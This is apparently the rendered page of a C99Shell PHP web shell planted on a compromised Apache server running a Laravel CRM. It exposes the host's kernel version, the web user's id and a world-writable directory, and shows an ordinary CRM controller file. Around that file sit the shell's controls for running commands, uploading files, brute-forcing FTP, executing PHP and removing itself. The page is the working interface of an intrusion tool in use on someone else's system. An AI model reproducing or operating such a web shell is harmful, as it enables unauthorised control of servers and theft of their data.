!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Lead/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ActivityController.php (3.27 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Lead;

use 
Illuminate\Support\Facades\DB;
use 
Webkul\Activity\Repositories\ActivityRepository;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Admin\Http\Resources\ActivityResource;
use 
Webkul\Email\Repositories\AttachmentRepository;
use 
Webkul\Email\Repositories\EmailRepository;

class 
ActivityController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
ActivityRepository $activityRepository,
        protected 
EmailRepository $emailRepository,
        protected 
AttachmentRepository $attachmentRepository
    
) {}

    
/**
     * Display a listing of the resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function index($id)
    {
        
$activities $this->activityRepository
            
->leftJoin('lead_activities''activities.id''=''lead_activities.activity_id')
            ->
where('lead_activities.lead_id'$id)
            ->
get();

        return 
ActivityResource::collection($this->concatEmailAsActivities($id$activities));
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function concatEmailAsActivities($leadId$activities)
    {
        
$emails DB::table('emails as child')
            ->
select('child.*')
            ->
join('emails as parent''child.parent_id''=''parent.id')
            ->
where('parent.lead_id'$leadId)
            ->
union(DB::table('emails as parent')->where('parent.lead_id'$leadId))
            ->
get();

        return 
$activities->concat($emails->map(function ($email) {
            return (object) [
                
'id'            => $email->id,
                
'parent_id'     => $email->parent_id,
                
'title'         => $email->subject,
                
'type'          => 'email',
                
'is_done'       => 1,
                
'comment'       => $email->reply,
                
'schedule_from' => null,
                
'schedule_to'   => null,
                
'user'          => auth()->guard('user')->user(),
                
'participants'  => [],
                
'location'      => null,
                
'additional'    => [
                    
'folders' => json_decode($email->folders),
                    
'from'    => json_decode($email->from),
                    
'to'      => json_decode($email->reply_to),
                    
'cc'      => json_decode($email->cc),
                    
'bcc'     => json_decode($email->bcc),
                ],
                
'files'         => $this->attachmentRepository->findWhere(['email_id' => $email->id])->map(function ($attachment) {
                    return (object) [
                        
'id'         => $attachment->id,
                        
'name'       => $attachment->name,
                        
'path'       => $attachment->path,
                        
'url'        => $attachment->url,
                        
'created_at' => $attachment->created_at,
                        
'updated_at' => $attachment->updated_at,
                    ];
                }),
                
'created_at'    => $email->created_at,
                
'updated_at'    => $email->updated_at,
            ];
        }))->
sortByDesc('id')->sortByDesc('created_at');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--